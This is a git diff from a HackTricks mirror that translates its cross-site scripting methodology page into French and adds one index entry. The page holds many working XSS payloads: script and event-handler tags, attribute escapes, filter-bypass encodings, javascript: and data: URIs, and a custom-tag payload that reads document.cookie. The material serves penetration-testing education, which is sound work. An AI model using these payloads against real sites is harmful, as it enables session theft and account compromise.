mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr
This commit is contained in:
parent
bc709201c9
commit
07919ae4c6
@ -725,6 +725,7 @@
|
||||
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
|
||||
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
|
||||
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||
|
@ -2,34 +2,34 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Methodology
|
||||
## Méthodologie
|
||||
|
||||
1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code.
|
||||
2. **Trouver le contexte** où il est refleχti/utilisé.
|
||||
3. If **reflected**
|
||||
1. Vérifier **quels symboles vous pouvez utiliser** et selon cela, préparer le payload :
|
||||
1. In **raw HTML**:
|
||||
1. Can you create new HTML tags?
|
||||
2. Can you use events or attributes supporting `javascript:` protocol?
|
||||
3. Can you bypass protections?
|
||||
4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Inside a **HTML tag**:
|
||||
1. Can you exit to raw HTML context?
|
||||
2. Can you create new events/attributes to execute JS code?
|
||||
3. Does the attribute where you are trapped support JS execution?
|
||||
4. Can you bypass protections?
|
||||
3. Inside **JavaScript code**:
|
||||
1. Can you escape the `<script>` tag?
|
||||
2. Can you escape the string and execute different JS code?
|
||||
3. Are your input in template literals ``?
|
||||
4. Can you bypass protections?
|
||||
4. Javascript **function** being **executed**
|
||||
1. You can indicate the name of the function to execute. e.g.: `?callback=alert(1)`
|
||||
4. If **used**:
|
||||
1. You could exploit a **DOM XSS**, faites attention à la façon dont votre input est contrôlé et si votre **input contrôlé est utilisé par un sink.**
|
||||
1. Vérifiez si **toute valeur que vous contrôlez** (_paramètres_, _path_, _headers_?, _cookies_?) est **réfléchie** dans le HTML ou **utilisée** par du **JS**.
|
||||
2. **Trouvez le contexte** où elle est reflétée/utilisée.
|
||||
3. Si **réfléchie**
|
||||
1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez le payload :
|
||||
1. Dans **HTML brut** :
|
||||
1. Pouvez-vous créer de nouvelles balises HTML ?
|
||||
2. Pouvez-vous utiliser des events ou des attributs supportant le protocole `javascript:` ?
|
||||
3. Pouvez-vous bypasser les protections ?
|
||||
4. Le contenu HTML est-il interprété par un moteur JS côté client (_AngularJS_, _VueJS_, _Mavo_...) que vous pourriez abuser via un [**Client Side Template Injection**](../client-side-template-injection-csti.md) ?
|
||||
5. Si vous ne pouvez pas créer de balises HTML qui exécutent du JS, pourriez-vous abuser d'un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) ?
|
||||
2. À l'intérieur d'une **balise HTML** :
|
||||
1. Pouvez-vous sortir vers le contexte HTML brut ?
|
||||
2. Pouvez-vous créer de nouveaux events/attributs pour exécuter du JS ?
|
||||
3. L'attribut où vous êtes bloqué supporte-t-il l'exécution JS ?
|
||||
4. Pouvez-vous bypasser les protections ?
|
||||
3. À l'intérieur de **code JavaScript** :
|
||||
1. Pouvez-vous échapper la balise `<script>` ?
|
||||
2. Pouvez-vous échapper la chaîne et exécuter un JS différent ?
|
||||
3. Votre entrée est-elle dans des template literals \`\` ?
|
||||
4. Pouvez-vous bypasser les protections ?
|
||||
4. Une **fonction** JavaScript en **exécution**
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. ex : `?callback=alert(1)`
|
||||
4. Si **utilisée** :
|
||||
1. Vous pourriez exploiter un **DOM XSS**, faites attention à la manière dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un sink.**
|
||||
|
||||
When working on a complex XSS you might find interesting to know about:
|
||||
Lors du travail sur un XSS complexe, il peut être utile de connaître :
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
@ -37,31 +37,31 @@ debugging-client-side-js.md
|
||||
|
||||
## Reflected values
|
||||
|
||||
In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page.
|
||||
Pour exploiter avec succès un XSS, la première chose à trouver est une **valeur contrôlée par vous qui est reflétée** dans la page web.
|
||||
|
||||
- **Intermediately reflected**: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a **Reflected XSS**.
|
||||
- **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**.
|
||||
- **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**.
|
||||
- **Intermediately reflected** : Si vous constatez que la valeur d'un paramètre ou même du path est reflétée dans la page web, vous pourriez exploiter un **Reflected XSS**.
|
||||
- **Stored and reflected** : Si vous trouvez qu'une valeur contrôlée par vous est sauvegardée sur le serveur et reflétée à chaque accès d'une page, vous pourriez exploiter un **Stored XSS**.
|
||||
- **Accessed via JS** : Si vous trouvez qu'une valeur contrôlée par vous est accédée via JS, vous pourriez exploiter un **DOM XSS**.
|
||||
|
||||
## Contexts
|
||||
|
||||
When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways.
|
||||
Lorsque vous essayez d'exploiter un XSS, la première chose à savoir est **où votre entrée est reflétée**. Selon le contexte, vous pourrez exécuter du code JS de différentes manières.
|
||||
|
||||
### Raw HTML
|
||||
|
||||
If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: `<img , <iframe , <svg , <script` ... these are just some of the many possible HTML tags you could use.\
|
||||
Also, keep in mind [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Si votre entrée est **reflétée dans le HTML brut** de la page, vous devrez abuser d'une **balise HTML** pour exécuter du JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles à utiliser.\
|
||||
Aussi, gardez en tête [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Inside HTML tags attribute
|
||||
|
||||
If your input is reflected inside the value of the attribute of a tag you could try:
|
||||
Si votre entrée est reflétée à l'intérieur de la valeur d'un attribut d'une balise, vous pouvez essayer :
|
||||
|
||||
1. To **escape from the attribute and from the tag** (then you will be in the raw HTML) and create new HTML tag to abuse: `"><img [...]`
|
||||
2. If you **can escape from the attribute but not from the tag** (`>` is encoded or deleted), depending on the tag you could **create an event** that executes JS code: `" autofocus onfocus=alert(1) x="`
|
||||
3. If you **cannot escape from the attribute** (`"` is being encoded or deleted), then depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked. Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
|
||||
4. If your input is reflected inside "**unexpoitable tags**" you could try the **`accesskey`** trick to abuse the vuln (you will need some kind of social engineer to exploit this): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. De **sortir de l'attribut et de la balise** (puis vous serez dans le HTML brut) et créer une nouvelle balise HTML à abuser : `"><img [...]`
|
||||
2. Si vous **pouvez sortir de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), en fonction de la balise vous pourriez **créer un event** qui exécute du JS : `" autofocus onfocus=alert(1) x="`
|
||||
3. Si vous **ne pouvez pas sortir de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** contient votre valeur **et si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un event comme `onclick=` vous pourrez le faire exécuter du code arbitraire au clic. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
4. Si votre entrée est reflétée à l'intérieur de **balises "non exploitables"**, vous pouvez essayer l'astuce **`accesskey`** pour abuser de la vuln (vous aurez besoin d'une forme d'ingénierie sociale pour exploiter ceci) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Weird example of Angular executing XSS if you controls a class name:
|
||||
Exemple étrange d'Angular exécutant un XSS si vous contrôlez un nom de classe :
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -69,15 +69,15 @@ Weird example of Angular executing XSS if you controls a class name:
|
||||
```
|
||||
### Dans le code JavaScript
|
||||
|
||||
Dans ce cas votre input est reflété entre **`<script> [...] </script>`** tags d'une page HTML, à l'intérieur d'un fichier `.js` ou dans un attribut utilisant le protocole **`javascript:`** :
|
||||
Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </script>`** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** :
|
||||
|
||||
- Si reflété entre **`<script> [...] </script>`** tags, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, par conséquent, il ne remarquera pas que votre balise injectée `</script>` se trouve dans le code HTML.
|
||||
- Si reflété **à l'intérieur d'une JS string** et que le dernier truc ne fonctionne pas vous devrez **sortir** de la string, **exécuter** votre code et **reconstruire** le code JS (si une erreur survient, il ne sera pas exécuté :
|
||||
- Si elle est reflétée entre **`<script> [...] </script>`** tags, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de sortir de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
|
||||
- Si elle est reflétée **inside a JS string** et que le dernier truc ne fonctionne pas, vous devrez **exit** la chaîne, **execute** votre code et **reconstruct** le code JS (s'il y a une erreur, il ne sera pas exécuté:
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Si reflété dans les template literals vous pouvez **embed JS expressions** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** fonctionne pour écrire du **valid javascript code** :
|
||||
- Si elle est reflétée inside template literals vous pouvez **embed JS expressions** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **L'encodage Unicode** permet d'écrire du **code JavaScript valide** :
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -85,7 +85,7 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting references the opportunity to **déclarer des fonctions, variables ou classes après leur utilisation afin d'abuser de scénarios où un XSS utilise des variables ou fonctions non déclarées.**\
|
||||
Javascript Hoisting fait référence à la possibilité de **déclarer des fonctions, variables ou classes après leur utilisation afin d'abuser de scénarios où une XSS utilise des variables ou fonctions non déclarées.**\
|
||||
**Consultez la page suivante pour plus d'infos :**
|
||||
|
||||
|
||||
@ -95,15 +95,15 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
Plusieurs pages web possèdent des endpoints qui **acceptent en paramètre le nom de la fonction à exécuter**. Un exemple courant vu sur le terrain est quelque chose comme : `?callback=callbackFunc`.
|
||||
Plusieurs pages web ont des endpoints qui **acceptent en paramètre le nom de la fonction à exécuter**. Un exemple courant vu en production est quelque chose comme : `?callback=callbackFunc`.
|
||||
|
||||
Un bon moyen de savoir si quelque chose fourni directement par l'utilisateur est tenté d'être exécuté est de **modifier la valeur du param** (par exemple en 'Vulnerable') et de regarder la console pour des erreurs comme :
|
||||
Un bon moyen de savoir si quelque chose fourni directement par l'utilisateur est tenté d'être exécuté est **de modifier la valeur du param** (par exemple en 'Vulnerable') et de regarder dans la console des erreurs comme :
|
||||
|
||||
.png>)
|
||||
|
||||
Dans le cas où c'est vulnérable, vous pourriez être capable de **déclencher une alert** simplement en envoyant la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces endpoints **valident le contenu** pour n'autoriser que des lettres, chiffres, points et underscores (**`[\w\._]`**).
|
||||
Si c'est vulnérable, vous pourriez être capable de **déclencher un alert** juste en envoyant la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces endpoints **valident le contenu** pour n'autoriser que des lettres, chiffres, points et underscores (**`[\w\._]`**).
|
||||
|
||||
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. C'est parce que vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément du DOM** :
|
||||
Cependant, même avec cette limitation il est toujours possible d'effectuer certaines actions. Ceci parce que vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément du DOM** :
|
||||
|
||||
.png>)
|
||||
|
||||
@ -115,11 +115,11 @@ nextElementSibiling
|
||||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
|
||||
Vous pouvez aussi essayer de **déclencher des fonctions Javascript** directement : `obj.sales.delOrders`.
|
||||
|
||||
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
|
||||
Cependant, en général les endpoints qui exécutent la fonction indiquée sont des endpoints sans un DOM très intéressant, **d'autres pages dans la même origine** auront un **DOM plus intéressant** pour effectuer davantage d'actions.
|
||||
|
||||
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
|
||||
Par conséquent, afin de **abuser de cette vulnérabilité dans un DOM différent** l'exploitation **Same Origin Method Execution (SOME)** a été développée :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -128,7 +128,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
Il existe du **JS code** qui utilise de façon **non sécurisée** des **données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.
|
||||
Il existe du **code JS** qui utilise de manière **non sécurisée** certaines **données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -137,8 +137,8 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Ces types de XSS peuvent être trouvés **anywhere**. Ils ne dépendent pas uniquement de l'exploitation côté client d'une application web mais de **any** **context**. Ces types d'**arbitrary JavaScript execution** peuvent même être abusés pour obtenir **RCE**, **read** **arbitrary** **files** sur des clients et serveurs, et plus encore.\
|
||||
Some **examples**:
|
||||
Ce type de XSS peut être trouvé **n'importe où**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ce type d'**exécution JavaScript arbitraire** peut même être abusé pour obtenir des **RCE**, **lire** des **fichiers** **arbitraires** sur les clients et serveurs, et plus encore.\
|
||||
Quelques **exemples** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -150,17 +150,17 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## WAF bypass encoding image
|
||||
## Image d'encodage pour contournement WAF
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Injection dans le HTML brut
|
||||
|
||||
Lorsque votre input est reflété **inside the HTML page** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez abuser du caractère `<` pour créer de nouvelles balises : essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **HTML encoded** ou **deleted** ou s'il est **reflété sans changes**. **Only in the last case you will be able to exploit this case**.\
|
||||
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Note : Un commentaire HTML peut être fermé en utilisant\*\***\***\*`-->`\*\***\***\*ou \*\***`--!>`\*\*_
|
||||
Lorsque votre input est reflété **dans la page HTML** ou si vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez abuser du caractère `<` pour créer de nouvelles balises : essayez simplement de **réfléter** ce **caractère** et vérifiez s'il est **encodé en HTML**, **supprimé** ou s'il est **reflété sans modification**. **Ce n'est que dans ce dernier cas que vous pourrez exploiter la vulnérabilité**.\
|
||||
Pour ces cas, gardez également à l'esprit [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Note : Un commentaire HTML peut être fermé en utilisant `-->` ou `--!>`**_
|
||||
|
||||
In this case and if no black/whitelisting is used, you could use payloads like:
|
||||
Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pouvez utiliser des payloads tels que :
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -168,22 +168,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mais, si un black/whitelisting des tags/attributes est utilisé, vous devrez **brute-force which tags** you can create.\
|
||||
Une fois que vous avez **located which tags are allowed**, vous devrez **brute-force attributes/events** à l'intérieur des tags valides trouvés pour voir comment attaquer le contexte.
|
||||
Mais, si un système de black/whitelisting des tags/attributs est utilisé, vous devrez **brute-force quels tags** vous pouvez créer.\
|
||||
Une fois que vous avez **localisé quels tags sont autorisés**, vous devrez **brute-force les attributs/events** à l'intérieur des tags valides trouvés pour voir comment attaquer le contexte.
|
||||
|
||||
### Tags/Events brute-force
|
||||
### Brute-force des Tags/Events
|
||||
|
||||
Rendez-vous sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copy tags to clipboard**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si certains tags n'ont pas été détectés comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **brute force all the events** en utilisant les tags valides (sur la même page web cliquez sur _**Copy events to clipboard**_ et suivez la même procédure qu'avant).
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copy tags to clipboard**_. Ensuite, envoyez-les tous avec Burp intruder et vérifiez si certains tags n'ont pas été détectés comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **brute-force tous les events** en utilisant les tags valides (sur la même page cliquez sur _**Copy events to clipboard**_ et suivez la même procédure qu'auparavant).
|
||||
|
||||
### Custom tags
|
||||
### Tags personnalisés
|
||||
|
||||
Si vous n'avez trouvé aucun tag HTML valide, vous pouvez essayer de **create a custom tag** et exécuter du JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL par `#` pour faire **focus on that object** et **execute** le code:
|
||||
Si vous ne trouvez aucun tag HTML valide, vous pouvez essayer de **créer un tag personnalisé** et exécuter du code JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL par `#` pour faire en sorte que la page **se focalise sur cet objet** et **exécute** le code :
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Si une sorte de blacklist est utilisée, vous pouvez essayer de la bypasser avec quelques astuces simples :
|
||||
Si une sorte de blacklist est utilisée, vous pouvez essayer de la contourner avec quelques astuces simples :
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -235,29 +235,29 @@ onerror=alert`1`
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
|
||||
> [!NOTE] > **Plus de payloads tiny XSS pour différents environnements** [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) et [**here**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **D'autres payloads tiny XSS pour différents environnements** se trouvent [**ici**](https://github.com/terjanq/Tiny-XSS-Payloads) et [**ici**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Le dernier utilise 2 caractères Unicode qui se décomposent en 5 : telsr\
|
||||
Plus de ces caractères peuvent être trouvés [here](https://www.unicode.org/charts/normalization/).\
|
||||
Le dernier utilise 2 caractères Unicode qui s'étendent en 5: telsr\
|
||||
D'autres de ces caractères peuvent être trouvés [here](https://www.unicode.org/charts/normalization/).\
|
||||
Pour vérifier en quels caractères ils sont décomposés, consultez [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Si, pour exploiter la vulnérabilité, vous avez besoin que **l'utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pouvez essayer de [**abuser de Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable).
|
||||
Si, pour exploiter la vulnérabilité, vous avez besoin que l'**user clique sur un link ou un form** avec des données préremplies, vous pouvez essayer de [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Si vous pensez simplement qu'**il est impossible de créer une balise HTML avec un attribut permettant d'exécuter du code JS**, vous devriez vérifier [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)because vous pourriez **exploit** la vulnérabilité **without** exécuter **JS** code.
|
||||
Si vous pensez simplement qu'**il est impossible de créer un HTML tag avec un attribute pour exécuter JS code**, vous devriez vérifier [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) car vous pourriez **exploit** la vulnérabilité **sans** exécuter **JS** code.
|
||||
|
||||
## Injection à l'intérieur d'une balise HTML
|
||||
## Injection à l'intérieur d'un HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
### À l'intérieur du tag/escaping from attribute value
|
||||
|
||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose à essayer est de **vous échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](#injecting-inside-raw-html) pour exécuter du code **JS**.\
|
||||
Si vous **ne pouvez pas vous échapper de la balise**, vous pouvez créer de nouveaux attributs à l'intérieur de la balise pour tenter d'exécuter du code **JS**, par exemple en utilisant une charge utile comme (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
Si vous êtes **à l'intérieur d'un HTML tag**, la première chose que vous pouvez essayer est de **s'échapper** du tag et d'utiliser certaines des techniques mentionnées dans la [previous section](#injecting-inside-raw-html) pour exécuter du JS code.\
|
||||
Si vous **ne pouvez pas vous échapper du tag**, vous pourriez créer de nouveaux attributes à l'intérieur du tag pour tenter d'exécuter du JS code, par exemple en utilisant un payload comme (_note que dans cet exemple double quotes sont utilisés pour échapper de l'attribute, vous n'en aurez pas besoin si votre input est reflété directement à l'intérieur du tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -274,14 +274,14 @@ Si vous **ne pouvez pas vous échapper de la balise**, vous pouvez créer de nou
|
||||
```
|
||||
### Dans l'attribut
|
||||
|
||||
Même si vous **ne pouvez pas vous échapper de l'attribut** (`"` est encodé ou supprimé), selon **dans quel attribut** votre valeur est reflétée et **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=` vous pourrez lui faire exécuter du code arbitraire quand il est cliqué.\
|
||||
Même si vous **ne pouvez pas échapper à l'attribut** (`"` est encodé ou supprimé), selon **dans quel attribut** votre valeur est reflétée et **si vous contrôlez toute la valeur ou seulement une partie** vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=` vous pourrez lui faire exécuter du code arbitraire lorsqu'il est cliqué.\
|
||||
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass inside event using HTML encoding/URL encode**
|
||||
|
||||
Les **HTML encoded characters** à l'intérieur de la valeur des attributs des balises HTML sont **decoded on runtime**. Par conséquent quelque chose comme ce qui suit sera valide (le payload est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
Les **caractères encodés HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (la payload est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Notez que **any kind of HTML encode is valid** :
|
||||
Notez que **tout type d'encodage HTML est valide**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -298,11 +298,11 @@ Notez que **any kind of HTML encode is valid** :
|
||||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**Notez que URL encode fonctionnera également :**
|
||||
**Notez que URL encode fonctionnera aussi :**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Bypass à l'intérieur de event en utilisant Unicode encode**
|
||||
**Bypass à l'intérieur de l'event en utilisant Unicode encode**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -310,7 +310,7 @@ Notez que **any kind of HTML encode is valid** :
|
||||
```
|
||||
### Protocoles spéciaux dans l'attribut
|
||||
|
||||
Là, vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** à certains endroits pour **exécuter du code JS arbitraire**. Certains exigeront une interaction utilisateur, d'autres non.
|
||||
Là, vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** dans certains endroits pour **exécuter du code JS arbitraire**. Certains nécessiteront une interaction de l'utilisateur, d'autres non.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -330,7 +330,7 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||||
```
|
||||
**Emplacements où vous pouvez injecter ces protocoles**
|
||||
**Endroits où vous pouvez injecter ces protocoles**
|
||||
|
||||
**En général** le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'**attribut `src`** (mais pas `<img`)
|
||||
```html
|
||||
@ -354,21 +354,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Autres obfuscation tricks**
|
||||
|
||||
_**Dans ce cas, l'encodage HTML et l'encodage Unicode vus dans la section précédente sont également valides car vous êtes à l'intérieur d'un attribut.**_
|
||||
_**Dans ce cas le HTML encoding et le Unicode encoding trick de la section précédente sont également valides car vous êtes à l'intérieur d'un attribut.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
De plus, il existe une autre **astuce sympa** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous devez **sortir** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, souvenez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** au moment de **l'exécution**.
|
||||
De plus, il y a une autre **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Ainsi, si vous devez **vous échapper** de la **chaîne** en utilisant un **guillemet simple** et que vous voyez qu'**elle est encodée en URL**, souvenez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme un **guillemet simple** pendant l'**exécution**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
